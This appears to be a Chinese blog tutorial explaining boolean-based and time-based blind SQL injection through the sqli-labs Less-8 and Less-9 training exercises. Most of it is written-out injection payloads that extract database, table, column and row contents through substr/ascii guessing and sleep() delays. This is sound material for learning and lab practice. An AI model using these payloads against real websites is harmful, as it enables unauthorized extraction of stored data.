盲注

一.概念理解:

盲注(Blind SQL Injection ),就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面,需要利用一些方法进行判断或者尝试。

二.盲注基本条件:

自己可以控制输入
原程序要执行的代码拼接了用户输入的数据。

三.分类:

基于布尔型:返回true或false
基于时间盲注:sleep()延时盲注

布尔盲注:题目为sqllab-less-8

1.正常页面回显样子为:
?id=1 and 1=1

(利用and同时为真才返回true,or同时为假才返回false)

mysql盲注jiaoben sql盲注的原理_数据库

2.查看语句错误时的回显页面样子:

(此题我们输入id=1’仍然是正常回显,因此在这并不适用)

id=1' and 1=2

mysql盲注jiaoben sql盲注的原理_单引号_02


通过闭合多余的单引号从而使添加进去的sql语句正确执行

3.查数据库长度:

输入以下语句去猜数据库长度,or同时为假返回false

?id=0' or length(database())>7%23    true
?id=0' or length(database())>8--+    false
?id=0' or length(database())=8--+    true

mysql盲注jiaoben sql盲注的原理_数据库_03

通过length函数去猜数据库的长度,最后确认数据库长度为八

4.猜数据库第一位字符。

可以先用substr函数取数据库的第一位字符,然后为了方便匹配我们将拿到的第一个字符转换成对应的ASCII值,再与猜测的ASCII值进行大小比较。通过修改limit的参数逐步得到该数据库的第二位字符第三位字符……最终得到数据库全名为security
输入以下语句:

?id=0' or ascii(substr(database(),1,1))>100--+  true
?id=0' or ascii(substr(database(),1,1))>120--+  false
?id=0' or ascii(substr(database(),1,1))=115--+  true

mysql盲注jiaoben sql盲注的原理_mysql_04

5.猜测数据库中的表数量

测试 or 4 = 正常 、or 5 = 失败

?id=0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+

mysql盲注jiaoben sql盲注的原理_mysql盲注jiaoben_05

6.猜测第一个表中的第一个字符

查找security这个数据库中的第一个表中(用limit控制输出第一个表名)的第一个字符对应的ASCII值

?id=0' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

mysql盲注jiaoben sql盲注的原理_单引号_06

7.猜测字段长度

此处猜长度用length函数会报错

?id=0' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2--+

mysql盲注jiaoben sql盲注的原理_sql_07

8.查第一个字段全名

通过上一步逐步猜解security数据库中第一个表的全名,最终得到第一个表的表名为emails。然后要猜测emails这个表中的第一个字段的第一个字符,逐步猜测最终得到第一个字段的名字为id。不断改变ASCII的比较值来确定字段名中的字符。

?id=0' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>104--+

mysql盲注jiaoben sql盲注的原理_单引号_08

9.猜测表中字段具体内容的条数

在上面步骤中已经知道了数据库名和表名,所以在下面命令中可以直接写出

?id=0' or 8=(select count(id) from security.emails)--+

mysql盲注jiaoben sql盲注的原理_sql_09

10.查email_id字段的第一条具体内容
?id=0' or ascii(substr((select email_id from security.emails limit 0,1),1,1))=68--+

mysql盲注jiaoben sql盲注的原理_mysql_10

时间盲注

不能根据页面返回内容判断任何信息,但可以添加条件语句来判断时间是否执行了延迟。基本的猜测步骤同上,只是在原来的基础上添加了if条件语句,注入时间延迟。可以打开浏览器的控制台(按f12),点击网络选项查看。

mysql盲注jiaoben sql盲注的原理_单引号_11


例题为sqllab-less-9

1.判断是否为时间盲注
?id=1' and sleep(5) --+

时间明显有延迟

mysql盲注jiaoben sql盲注的原理_mysql盲注jiaoben_12

2.插入if条件语句看是否执行了时间延迟,获取数据库长度
?id=1' and if(length(database())=8,sleep(5),0)--+

mysql盲注jiaoben sql盲注的原理_mysql盲注jiaoben_13


……

后面步骤类似于布尔盲注,具体可以看大神的博客文章

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

四.补充

1.单引号闭合问题再理解:

正常输入?id=1时页面是正常回显,发现输入的内容在语句中是id=‘1’,值被一对单引号包裹着。

mysql盲注jiaoben sql盲注的原理_sql_14


然后我们再输入?id=1*2’,会发现页面有报错,在黄色语句中发现是id值引号不匹配原因造成的,左边是单引号,右边在原有的单引号基础上加上了我们添加的一个单引号就成了双引号,出现了语法错误。

mysql盲注jiaoben sql盲注的原理_数据库_15


既然我们知道了导致语法错误的原因在于引号,为了不报错,我们可以将不匹配的一个单引号注释掉,这样id值的引号闭合了,语句不报错,然后注入就基于此,我们可以在闭合后添加我们的sql语句执行却不报错。(可理解为我们添加的单引号被当成右边的单引号了,而原本右边的那个单引号成了第三个单引号,我们就可以对它进行注释掉!!!)

mysql注释的方法:

#与 --+ 分别代表mysql的单行注释

(%23为#号经过url编码后的结果)

url中直接输入#仍然报错,可以写成%23

mysql盲注jiaoben sql盲注的原理_单引号_16


mysql盲注jiaoben sql盲注的原理_数据库_17

2.认识一些mysql函数

length():返回字符串的长度
substr(str,pos,num) :截取指定位置指定长度的字符串
mid(str,pos,num) :截取指定位置指定长度的字符串
ascii() 查询ascii码中对应的值
char() 查询字符对应的ascii值

3.mysql的limit子句

LIMIT子句可用于强制SELECT语句返回指定数量的记录。
mysql> SELECT * FROM table LIMIT 5,10;
//检索记录行6-15。